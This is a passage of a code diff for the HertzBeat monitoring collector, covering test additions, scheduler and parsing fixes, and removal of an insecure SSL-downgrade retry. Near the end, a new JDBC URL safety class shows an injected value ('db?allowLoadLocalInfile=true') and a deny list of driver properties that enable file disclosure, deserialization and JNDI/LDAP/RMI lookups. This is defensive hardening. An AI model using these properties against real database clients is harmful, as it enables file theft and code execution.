+        Metrics metrics = telnetMetrics("mntr", List.of("responseTime", "a"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("error=conf disabled")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(CollectRep.Code.FAIL, builder.getCode());
+    }
+
+    @Test
+    void testCollectSurvivesHeaderOnlyEnviReply() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder().setApp("zookeeper");
+        Metrics metrics = telnetMetrics("envi", List.of("responseTime", "a"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("Environment:")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(CollectRep.Code.FAIL, builder.getCode());
+    }
+
+    @Test
+    void testCollectFailsCleanlyOnNewlineOnlyReply() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder().setApp("zookeeper");
+        Metrics metrics = telnetMetrics("conf", List.of("responseTime", "a"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("\n")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(CollectRep.Code.FAIL, builder.getCode());
+        assertTrue(builder.getMsg().contains("returned no expected metrics"));
+    }
+
+    @Test
+    void testCollectKeepsValueContainingSeparator() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        Metrics metrics = telnetMetrics("conf", List.of("dataDir", "secureClientPort"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("dataDir=/data/zk=a\nsecureClientPort=")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("/data/zk=a", builder.getValues(0).getColumns(0));
+        assertEquals("", builder.getValues(0).getColumns(1));
+    }
+
+    @Test
+    void testCollectBlankCmdKeepsResponseTimeRow() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        Metrics metrics = telnetMetrics("", List.of("responseTime"));
+        try (MockedConstruction<TelnetClient> mocked =
+                Mockito.mockConstruction(TelnetClient.class, (telnetClient, context) ->
+                        Mockito.when(telnetClient.isConnected()).thenReturn(true))) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(1, builder.getValuesCount());
+    }
+
+    private static Metrics telnetMetrics(String cmd, List<String> aliasFields) {
+        Metrics metrics = new Metrics();
+        metrics.setTelnet(TelnetProtocol.builder().timeout("10").port("2181").cmd(cmd).build());
+        metrics.setAliasFields(aliasFields);
+        return metrics;
+    }
+
+    private static MockedConstruction<TelnetClient> mockTelnetReply(String reply) {
+        InputStream inputStream = new ByteArrayInputStream(reply.getBytes(StandardCharsets.UTF_8));
+        return Mockito.mockConstruction(TelnetClient.class, (telnetClient, context) -> {
+            Mockito.when(telnetClient.isConnected()).thenReturn(true);
+            Mockito.when(telnetClient.getOutputStream()).thenReturn(Mockito.mock(OutputStream.class));
+            Mockito.when(telnetClient.getInputStream()).thenReturn(inputStream);
+        });
+    }
+
     @Test
     void preCheck() throws IllegalArgumentException {
         // metrics is null

hertzbeat-collector/hertzbeat-collector-collector/src/main/java/org/apache/hertzbeat/collector/dispatch/MetricsCollect.java

@@ -252,11 +252,12 @@ public class MetricsCollect implements Runnable, Comparable<MetricsCollect> {
         if (metrics.getCalculates() == null) {
             metrics.setCalculates(Collections.emptyList());
         }
+        List<String> aliasFields = Optional.ofNullable(metrics.getAliasFields()).orElseGet(Collections::emptyList);
         // eg: database_pages=Database pages unconventional mapping
         Map<String, String> fieldAliasMap = new HashMap<>(8);
         Map<String, JexlExpression> fieldExpressionMap = metrics.getCalculates()
                 .stream()
-                .map(cal -> transformCal(cal, fieldAliasMap))
+                .map(cal -> transformCal(cal, fieldAliasMap, aliasFields))
                 .filter(Objects::nonNull)
                 .collect(Collectors.toMap(arr -> (String) arr[0], arr -> (JexlExpression) arr[1], (oldValue, newValue) -> newValue));
 
@@ -270,7 +271,6 @@ public class MetricsCollect implements Runnable, Comparable<MetricsCollect> {
                 .collect(Collectors.toMap(arr -> (String) arr[0], arr -> (Pair<String, String>) arr[1], (oldValue, newValue) -> newValue));
 
         List<Metrics.Field> fields = metrics.getFields();
-        List<String> aliasFields = Optional.ofNullable(metrics.getAliasFields()).orElseGet(Collections::emptyList);
         Map<String, String> aliasFieldValueMap = new HashMap<>(8);
         Map<String, Object> fieldValueMap = new HashMap<>(8);
         Map<String, Object> stringTypefieldValueMap = new HashMap<>(8);
@@ -420,13 +420,19 @@ public class MetricsCollect implements Runnable, Comparable<MetricsCollect> {
      * @param fieldAliasMap field alias map
      * @return expr
      */
-    private Object[] transformCal(String cal, Map<String, String> fieldAliasMap) {
+    private Object[] transformCal(String cal, Map<String, String> fieldAliasMap, List<String> aliasFields) {
         int splitIndex = cal.indexOf("=");
         if (splitIndex < 0) {
             return null;
         }
         String field = cal.substring(0, splitIndex).trim();
         String expressionStr = cal.substring(splitIndex + 1).trim().replace("\\#", "#");
+        // a direct alias reference (RHS must exactly equal an aliasField, no whitespace/case tolerance) is not a formula,
+        // JEXL parses "[0]" in such paths as array access and silently returns null
+        if (aliasFields.contains(expressionStr)) {
+            fieldAliasMap.put(field, expressionStr);
+            return null;
+        }
         JexlExpression expression;
         try {
             expression = JexlExpressionRunner.compile(expressionStr);

hertzbeat-collector/hertzbeat-collector-collector/src/main/resources/application.yml

@@ -52,7 +52,7 @@ spring:
 
 collector:
   info:
-    version: ${COLLECTOR_VERSION:1.8.0}
+    version: ${COLLECTOR_VERSION:1.9.0}
     ip: ${COLLECTOR_IP:}
   dispatch:
     entrance:

hertzbeat-collector/hertzbeat-collector-collector/src/test/java/org/apache/hertzbeat/collector/collect/database/sqlserver/SqlServerJdbcTemplateIntegrationTest.java

@@ -85,6 +85,15 @@ class SqlServerJdbcTemplateIntegrationTest {
 
     @BeforeAll
     void setUp() throws Exception {
+        // Checked before the Docker probe so the skip costs nothing: Microsoft ships
+        // no arm64 image for SQL Server on Linux -- 2017, 2019 and 2022 are all
+        // amd64-only.  Under emulation on Apple Silicon sqlservr crashes during
+        // startup (core dump, never logs "ready for client connections"), and
+        // Rosetta does not help.  This is not a timeout to be tuned: the full
+        // version matrix runs on the amd64 CI runners instead.
+        Assumptions.assumeFalse(
+                "aarch64".equals(System.getProperty("os.arch")),
+                "SQL Server has no arm64 image; matrix runs on amd64 CI");
         Assumptions.assumeTrue(
                 DockerClientFactory.instance().isDockerAvailable(),
                 "Docker is required for integration tests");

hertzbeat-collector/hertzbeat-collector-collector/src/test/java/org/apache/hertzbeat/collector/dispatch/MetricsCollectTest.java

@@ -0,0 +1,73 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.dispatch;
+
+import java.util.List;
+import org.apache.hertzbeat.collector.timer.WheelTimerTask;
+import org.apache.hertzbeat.common.constants.CommonConstants;
+import org.apache.hertzbeat.common.entity.job.Job;
+import org.apache.hertzbeat.common.entity.job.Metrics;
+import org.apache.hertzbeat.common.entity.message.CollectRep;
+import org.apache.hertzbeat.common.timer.Timeout;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+/**
+ * Test case for {@link MetricsCollect}
+ */
+class MetricsCollectTest {
+
+    @Test
+    void calculateFieldsMapsIndexedJsonPathAlias() {
+        Metrics metrics = Metrics.builder()
+                .name("pods")
+                .priority((byte) 0)
+                .fields(List.of(
+                        Metrics.Field.builder().field("pod").type(CommonConstants.TYPE_STRING).build(),
+                        Metrics.Field.builder().field("rc").type(CommonConstants.TYPE_STRING).build()))
+                .aliasFields(List.of("$.metadata.name", "$.status.containerStatuses[0].restartCount"))
+                .calculates(List.of(
+                        "pod=$.metadata.name",
+                        "rc=$.status.containerStatuses[0].restartCount"))
+                .build();
+
+        Timeout timeout = mock(Timeout.class);
+        WheelTimerTask timerTask = mock(WheelTimerTask.class);
+        when(timeout.task()).thenReturn(timerTask);
+        when(timerTask.getJob()).thenReturn(Job.builder().build());
+        MetricsCollect metricsCollect = new MetricsCollect(metrics, timeout, null, "test", List.of());
+
+        CollectRep.MetricsData.Builder collectData = CollectRep.MetricsData.newBuilder();
+        collectData.addValueRow(CollectRep.ValueRow.newBuilder()
+                .addColumn("pod-a").addColumn("5").build());
+        collectData.addValueRow(CollectRep.ValueRow.newBuilder()
+                .addColumn("pod-b-pending").addColumn(CommonConstants.NULL_VALUE).build());
+
+        metricsCollect.calculateFields(metrics, collectData);
+
+        List<CollectRep.ValueRow> rows = collectData.getValuesList();
+        assertEquals(2, rows.size());
+        assertEquals("pod-a", rows.get(0).getColumns(0));
+        assertEquals("5", rows.get(0).getColumns(1));
+        assertEquals("pod-b-pending", rows.get(1).getColumns(0));
+        assertEquals(CommonConstants.NULL_VALUE, rows.get(1).getColumns(1));
+    }
+}

hertzbeat-collector/hertzbeat-collector-common/src/main/java/org/apache/hertzbeat/collector/util/JsonPathParser.java

@@ -36,12 +36,16 @@ public final class JsonPathParser {
 
     private static final ParseContext PARSER;
 
+    private static final ParseContext ROW_PARSER;
+
     static {
         Configuration conf = Configuration.defaultConfiguration()
                 .addOptions(Option.DEFAULT_PATH_LEAF_TO_NULL)
                 .addOptions(Option.ALWAYS_RETURN_LIST);
         CacheProvider.setCache(new LRUCache(128));
         PARSER = JsonPath.using(conf);
+        // a single row legitimately may not contain the queried path
+        ROW_PARSER = JsonPath.using(conf.addOptions(Option.SUPPRESS_EXCEPTIONS));
     }
 
     private JsonPathParser() {
@@ -73,4 +77,18 @@ public final class JsonPathParser {
         return PARSER.parse(content).read(jsonPath, typeRef);
     }
 
+    /**
+     * use json path to parse one already-parsed row object, missing paths yield an empty list
+     * @param document parsed json object of a single row
+     * @param jsonPath jsonPath relative to the row root
+     * @return matched values, empty list when the path does not exist in this row
+     */
+    public static List<Object> parseRowWithJsonPath(Object document, String jsonPath) {
+        if (document == null || StringUtils.isEmpty(jsonPath)) {
+            return Collections.emptyList();
+        }
+        List<Object> values = ROW_PARSER.parse(document).read(jsonPath);
+        return values == null ? Collections.emptyList() : values;
+    }
+
 }

hertzbeat-collector/hertzbeat-collector-common/src/test/java/org/apache/hertzbeat/collector/collect/common/http/CommonHttpClientVirtualThreadTest.java

@@ -104,17 +104,23 @@ class CommonHttpClientVirtualThreadTest {
 
     @Test
     void dispatchConnectionPoolCleanupClosesExpiredAndIdleConnections() throws Exception {
-        CountDownLatch latch = new CountDownLatch(1);
+        CountDownLatch expiredConnectionsClosed = new CountDownLatch(1);
+        CountDownLatch idleConnectionsClosed = new CountDownLatch(1);
         PoolingHttpClientConnectionManager manager = mock(PoolingHttpClientConnectionManager.class);
         doAnswer(invocation -> {
-            latch.countDown();
+            expiredConnectionsClosed.countDown();
             return null;
         }).when(manager).closeExpiredConnections();
+        doAnswer(invocation -> {
+            idleConnectionsClosed.countDown();
+            return null;
+        }).when(manager).closeIdleConnections(40, TimeUnit.SECONDS);
         CommonHttpClient.setConnectionManagerForTest(manager);
 
         CommonHttpClient.dispatchConnectionPoolCleanup();
 
-        assertTrue(latch.await(5, TimeUnit.SECONDS));
+        assertTrue(expiredConnectionsClosed.await(5, TimeUnit.SECONDS));
+        assertTrue(idleConnectionsClosed.await(5, TimeUnit.SECONDS));
         verify(manager, times(1)).closeExpiredConnections();
         verify(manager, times(1)).closeIdleConnections(40, TimeUnit.SECONDS);
     }

hertzbeat-collector/hertzbeat-collector-common/src/test/java/org/apache/hertzbeat/collector/util/JsonPathParserTest.java

@@ -0,0 +1,81 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.util;
+
+import com.jayway.jsonpath.PathNotFoundException;
+import java.util.List;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test case for {@link JsonPathParser}
+ */
+class JsonPathParserTest {
+
+    private static final String ROW_JSON = "{\"metadata\": {\"name\": \"pod-a\"},"
+            + " \"status\": {\"phase\": \"Running\","
+            + " \"containerStatuses\": [{\"name\": \"c1\", \"ready\": true, \"restartCount\": 5}]}}";
+
+    private Object row() {
+        return JsonPathParser.parseContentWithJsonPath(ROW_JSON, "$").get(0);
+    }
+
+    @Test
+    void parseRowWithJsonPathReturnsExistingValue() {
+        List<Object> values = JsonPathParser.parseRowWithJsonPath(row(), "$.status.containerStatuses[0].restartCount");
+
+        assertEquals(1, values.size());
+        assertEquals(5, values.get(0));
+    }
+
+    @Test
+    void parseRowWithJsonPathReturnsEmptyListWhenPathMissing() {
+        Object pendingRow = JsonPathParser
+                .parseContentWithJsonPath("{\"metadata\": {\"name\": \"pod-b\"}, \"status\": {\"phase\": \"Pending\"}}", "$")
+                .get(0);
+
+        List<Object> values = JsonPathParser.parseRowWithJsonPath(pendingRow, "$.status.containerStatuses[0].restartCount");
+
+        assertTrue(values.isEmpty());
+    }
+
+    @Test
+    void parseRowWithJsonPathReturnsAllValuesForWildcard() {
+        List<Object> values = JsonPathParser.parseRowWithJsonPath(row(), "$.status.containerStatuses[0].*");
+
+        assertEquals(3, values.size());
+        assertTrue(values.contains("c1"));
+        assertTrue(values.contains(true));
+        assertTrue(values.contains(5));
+    }
+
+    @Test
+    void parseContentWithJsonPathStillThrowsWhenPathMissing() {
+        assertThrows(PathNotFoundException.class,
+                () -> JsonPathParser.parseContentWithJsonPath(ROW_JSON, "$.spec.nodeName"));
+    }
+
+    @Test
+    void parseRowWithJsonPathHandlesNullDocumentAndEmptyPath() {
+        assertTrue(JsonPathParser.parseRowWithJsonPath(null, "$.status").isEmpty());
+        assertTrue(JsonPathParser.parseRowWithJsonPath(row(), "").isEmpty());
+    }
+}

hertzbeat-collector/hertzbeat-collector-mysql-r2dbc/src/main/java/org/apache/hertzbeat/collector/mysql/r2dbc/MysqlR2dbcQueryExecutor.java

@@ -46,21 +46,23 @@ public class MysqlR2dbcQueryExecutor implements MysqlQueryExecutor {
     @Override
     public QueryResult execute(String sql, QueryOptions options) {
         String normalizedSql = sqlGuard.normalizeAndValidate(sql);
-        QueryResult firstAttempt = executeOnce(normalizedSql, options, SslMode.PREFERRED);
-        if (!firstAttempt.hasError() || !shouldRetryWithoutSsl(firstAttempt.getError())) {
-            return firstAttempt;
+        // A single PREFERRED attempt negotiates TLS when the server supports it and
+        // falls back to plaintext only through the protocol-level handshake when the
+        // server advertises no SSL capability. It must NOT be followed by a second
+        // SslMode.DISABLED attempt on handshake *failures*: a handshake failure is
+        // ambiguous (a MitM can induce it to force a downgrade), and retrying with
+        // SSL disabled would then ship the monitoring credentials in the clear.
+        QueryResult result = executeOnce(normalizedSql, options, SslMode.PREFERRED);
+        if (!result.hasError()) {
+            return result;
         }
-        QueryResult fallbackAttempt = executeOnce(normalizedSql, options, SslMode.DISABLED);
-        if (!fallbackAttempt.hasError()) {
-            return fallbackAttempt;
-        }
-        if (requiresSslCompatibleAuth(fallbackAttempt.getError())) {
+        if (requiresSslCompatibleAuth(result.getError())) {
             return QueryResult.builder()
-                    .error(fallbackAttempt.getError()
+                    .error(result.getError()
                             + ". This route currently needs a TLS-compatible runtime or a mysql_native_password monitoring user.")
                     .build();
         }
-        return fallbackAttempt;
+        return result;
     }
 
     private QueryResult executeOnce(String sql, QueryOptions options, SslMode sslMode) {
@@ -128,17 +130,6 @@ public class MysqlR2dbcQueryExecutor implements MysqlQueryExecutor {
         return false;
     }
 
-    private boolean shouldRetryWithoutSsl(String error) {
-        if (error == null) {
-            return false;
-        }
-        String normalized = error.toLowerCase(Locale.ROOT);
-        return normalized.contains("handshake_failure")
-                || normalized.contains("ssl/tls handshake")
-                || normalized.contains("closedchannelexception")
-                || normalized.contains("connection unexpectedly closed");
-    }
-
     private boolean requiresSslCompatibleAuth(String error) {
         if (error == null) {
             return false;

hertzbeat-collector/hertzbeat-collector-nebulagraph/pom.xml

@@ -54,7 +54,20 @@
                     <groupId>com.alibaba</groupId>
                     <artifactId>fastjson</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>org.bouncycastle</groupId>
+                    <artifactId>bcpkix-jdk15on</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.bouncycastle</groupId>
+                    <artifactId>bcprov-jdk15on</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
+        <dependency>
+            <groupId>org.bouncycastle</groupId>
+            <artifactId>bcpkix-jdk18on</artifactId>
+            <version>${bouncycastle.version}</version>
+        </dependency>
     </dependencies>
 </project>

hertzbeat-collector/hertzbeat-collector-nebulagraph/src/test/java/org/apache/hertzbeat/collector/collect/nebulagraph/VesoftSslBouncyCastleSmokeTest.java

@@ -0,0 +1,67 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.collect.nebulagraph;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+import com.vesoft.nebula.client.graph.data.CASignedSSLParam;
+import com.vesoft.nebula.util.SslUtil;
+import java.io.FileWriter;
+import java.math.BigInteger;
+import java.nio.file.Path;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.cert.X509Certificate;
+import java.util.Date;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateConverter;
+import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder;
+import org.bouncycastle.openssl.jcajce.JcaPEMWriter;
+import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.io.TempDir;
+
+class VesoftSslBouncyCastleSmokeTest {
+
+    @Test
+    void vesoftSslUtilWorksWithBouncyCastleJdk18on(@TempDir Path dir) throws Exception {
+        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
+        generator.initialize(2048);
+        KeyPair keyPair = generator.generateKeyPair();
+        X500Name subject = new X500Name("CN=hb-3540-smoke");
+        JcaX509v3CertificateBuilder certBuilder = new JcaX509v3CertificateBuilder(
+                subject, BigInteger.ONE,
+                new Date(System.currentTimeMillis() - 60_000),
+                new Date(System.currentTimeMillis() + 3_600_000),
+                subject, keyPair.getPublic());
+        X509Certificate cert = new JcaX509CertificateConverter()
+                .getCertificate(certBuilder.build(new JcaContentSignerBuilder("SHA256withRSA").build(keyPair.getPrivate())));
+
+        Path crt = dir.resolve("smoke.crt");
+        Path key = dir.resolve("smoke.key");
+        try (JcaPEMWriter writer = new JcaPEMWriter(new FileWriter(crt.toFile()))) {
+            writer.writeObject(cert);
+        }
+        try (JcaPEMWriter writer = new JcaPEMWriter(new FileWriter(key.toFile()))) {
+            writer.writeObject(keyPair.getPrivate());
+        }
+
+        CASignedSSLParam param = new CASignedSSLParam(crt.toString(), crt.toString(), key.toString());
+        assertNotNull(SslUtil.getSSLSocketFactoryWithCA(param));
+    }
+}

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/entity/job/Job.java

@@ -25,6 +25,7 @@ import java.util.HashSet;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.Optional;
 import java.util.Set;
 import java.util.concurrent.ConcurrentLinkedDeque;
@@ -110,9 +111,21 @@ public class Job {
      */
     private long defaultInterval = 600L;
     /**
-     * Refresh time list for one cycle of the job.
+     * Explicit refresh delays used for one-time overrides and fallback schedules.
      */
     private ConcurrentLinkedDeque<Long> intervals;
+
+    /**
+     * Collector-only periods used to generate the next refresh delay lazily.
+     */
+    @JsonIgnore
+    private transient long[] metricsSchedulePeriods;
+
+    /**
+     * Collector-only time remaining until each metric period is due.
+     */
+    @JsonIgnore
+    private transient long[] metricsScheduleRemaining;
     /**
      * Whether it is a recurring periodic task true is yes, false is no.
      */
@@ -328,7 +341,7 @@ public class Job {
         if (array != null && !array.isEmpty()) {
             long result = array.get(0);
             for (int i = 1; i < array.size(); i++) {
-                result = result / gcd(result, array.get(i)) * array.get(i);
+                result = Math.multiplyExact(result / gcd(result, array.get(i)), array.get(i));
             }
             return result;
         }
@@ -340,29 +353,50 @@ public class Job {
      * Generate a list of refresh intervals for metric collection.
      */
     public synchronized void generateMetricsIntervals(List<Long> metricsIntervals) {
-        // 1. To find the least common multiple (LCM) of all metric refresh intervals
-        long lcm = lcm(metricsIntervals);
-        List<Long> refreshTimes = new LinkedList<>();
-        // 2. Calculate all possible refresh intervals in one round
-        for (long interval : metricsIntervals) {
-            for (long t = interval; t <= lcm; t += interval) {
-                if (!refreshTimes.contains(t)) {
-                    refreshTimes.add(t);
-                }
-            }
+        long[] periods = metricsIntervals == null
+                ? new long[0]
+                : metricsIntervals.stream()
+                        .filter(Objects::nonNull)
+                        .mapToLong(Long::longValue)
+                        .filter(interval -> interval > 0)
+                        .distinct()
+                        .sorted()
+                        .toArray();
+        if (periods.length == 0) {
+            metricsSchedulePeriods = null;
+            metricsScheduleRemaining = null;
+            intervals = new ConcurrentLinkedDeque<>(List.of(Math.max(1L, defaultInterval)));
+            return;
         }
-        // 3. Sort from smallest to largest
-        Collections.sort(refreshTimes);
-        // 4. Calculate the refresh interval list for Job's cycle
-        LinkedList<Long> intervals = new LinkedList<>();
-        intervals.add(refreshTimes.get(0));
-        for (int i = 1; i < refreshTimes.size(); i++) {
-            intervals.add(refreshTimes.get(i) - refreshTimes.get(i - 1));
-        }
-        setIntervals(new ConcurrentLinkedDeque<>(intervals));
+        metricsSchedulePeriods = periods;
+        metricsScheduleRemaining = periods.clone();
+        intervals = null;
+    }
+
+    public synchronized void setIntervals(ConcurrentLinkedDeque<Long> intervals) {
+        this.intervals = intervals;
+        metricsSchedulePeriods = null;
+        metricsScheduleRemaining = null;
     }
 
     public synchronized long getInterval() {
+        if (metricsScheduleRemaining != null && metricsSchedulePeriods != null
+                && metricsScheduleRemaining.length == metricsSchedulePeriods.length
+                && metricsScheduleRemaining.length > 0) {
+            long nextInterval = Long.MAX_VALUE;
+            for (long remaining : metricsScheduleRemaining) {
+                nextInterval = Math.min(nextInterval, remaining);
+            }
+            if (nextInterval > 0) {
+                for (int i = 0; i < metricsScheduleRemaining.length; i++) {
+                    metricsScheduleRemaining[i] -= nextInterval;
+                    if (metricsScheduleRemaining[i] == 0) {
+                        metricsScheduleRemaining[i] = metricsSchedulePeriods[i];
+                    }
+                }
+                return nextInterval;
+            }
+        }
         if (this.intervals != null && !this.intervals.isEmpty()) {
             Long interval = this.intervals.removeFirst();
             if (interval != null) {

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/entity/job/protocol/SshProtocol.java

@@ -86,6 +86,11 @@ public class SshProtocol implements CommonRequestProtocol, Protocol {
      */
     private String parseType;
 
+    /**
+     * Charset of the remote command output, default UTF-8
+     */
+    private String charset;
+
     /**
      * IP ADDRESS OR DOMAIN NAME OF THE PEER PROXY HOST
      */

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/entity/message/CollectRep.java

@@ -285,8 +285,9 @@ public final class CollectRep {
                 Row row = iterator.next();
                 ValueRow valueRow = ValueRow.newBuilder()
                     .setColumns(fieldNames.stream()
-                        .map(fieldName -> new String(((VarCharVector)
-                            table.getVector(fieldName)).get(row.getRowNumber())))
+                        .map(fieldName -> new String(
+                                ((VarCharVector) table.getVector(fieldName)).get(row.getRowNumber()),
+                                StandardCharsets.UTF_8))
                         .collect(Collectors.toList()))
                     .build();
                 values.add(valueRow);
@@ -443,8 +444,8 @@ public final class CollectRep {
                                         fieldIndex < row.getColumnsList().size()) {
                                     String value = row.getColumns(fieldIndex);
                                     if (value != null) {
-                                        // Check byte array size, Arrow buffer size is 32768 bytes
                                         byte[] bytes = value.getBytes(StandardCharsets.UTF_8);
+                                        // setSafe grows the variable-width data buffer beyond its initial allocation.
                                         vector.setSafe(rowIndex, bytes);
                                     }
                                 }
@@ -464,7 +465,7 @@ public final class CollectRep {
                     throw e;
                 }
             }
-            
+
             public long getId() {
                 return Long.parseLong(metadata.getOrDefault(MetricDataConstants.ID, "0"));
             }

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/serialize/RedisMetricsDataCodec.java

@@ -69,13 +69,11 @@ public class RedisMetricsDataCodec implements RedisCodec<String, CollectRep.Metr
             try (ByteArrayInputStream in = new ByteArrayInputStream(bytes);
                  ArrowStreamReader reader = new ArrowStreamReader(
                          Channels.newChannel(in), allocator)) {
-                reader.loadNextBatch();
-                VectorSchemaRoot root = reader.getVectorSchemaRoot();
-                if (root == null || root.getRowCount() == 0) {
-                    log.warn("Empty data received");
+                if (!reader.loadNextBatch()) {
+                    log.warn("No record batch in metrics data stream, discarding");
                     return null;
                 }
-                return new CollectRep.MetricsData(root);
+                return new CollectRep.MetricsData(reader.getVectorSchemaRoot());
             }
         } catch (Exception e) {
             log.error("Failed to decode metrics data", e);

hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java

@@ -0,0 +1,99 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+/**
+ * Safety helpers for building JDBC connection urls from user supplied monitor parameters.
+ *
+ * <p>Connection parameters such as the database name are concatenated into the jdbc url. Without
+ * restriction a value like {@code db?allowLoadLocalInfile=true} injects arbitrary driver properties,
+ * which a malicious database server turns into local file disclosure or deserialization on the
+ * connecting jvm. The url blacklist only guards the url a user types in directly, so every other
+ * value that reaches the url has to be constrained here.
+ */
+public final class JdbcUrlSafetyUtil {
+
+    /**
+     * Identifier characters accepted in a database or schema name. Deliberately excludes the
+     * characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; # space}.
+     */
+    private static final Pattern DATABASE_NAME_PATTERN = Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$");
+
+    /**
+     * Driver properties that turn a connection into a client side attack. Checked against the
+     * assembled url so a concatenation mistake anywhere still fails closed.
+     */
+    private static final String[] DANGEROUS_URL_PROPERTIES = {
+            // file IO - lets a malicious server read files from the connecting host
+            "allowloadlocalinfile", "allowloadlocalinfileinpath", "uselocalinfile",
+            // code execution and deserialization
+            "autodeserialize", "detectcustomcollations", "queryinterceptors", "statementinterceptors",
+            "exceptioninterceptors", "javaobjectserializer", "serverstatusdiffinterceptor",
+            "socketfactory", "init=", "runscript",
+            // multi statement execution
+            "allowmultiqueries",
+            // remote object lookup
+            "jndi:", "ldap:", "rmi:",
+    };
+
+    private JdbcUrlSafetyUtil() {
+    }
+
+    /**
+     * Validate a database or schema name that is about to be concatenated into a jdbc url.
+     *
+     * @param database database name, may be null or empty
+     * @return the database name, or an empty string when nothing was supplied
+     * @throws IllegalArgumentException when the name contains jdbc url syntax
+     */
+    public static String requireSafeDatabaseName(String database) {
+        if (database == null || database.isEmpty()) {
+            return "";
+        }
+        if (!DATABASE_NAME_PATTERN.matcher(database).matches()) {
+            throw new IllegalArgumentException("Invalid database name: only letters, digits, "
+                    + "'_', '$', '.' and '-' are allowed, up to 64 characters");
+        }
+        return database;
+    }
+
+    /**
+     * Reject an assembled jdbc url that carries a driver property known to be attacker useful.
+     *
+     * <p>Applies to urls this project builds itself. Urls typed in by a user go through the wider
+     * platform aware checks in the collector before reaching here.
+     *
+     * @param url assembled jdbc url
+     * @throws IllegalArgumentException when a dangerous property is present
+     */
+    public static void requireSafeJdbcUrl(String url) {
+        if (url == null || url.isEmpty()) {
+            return;
+        }
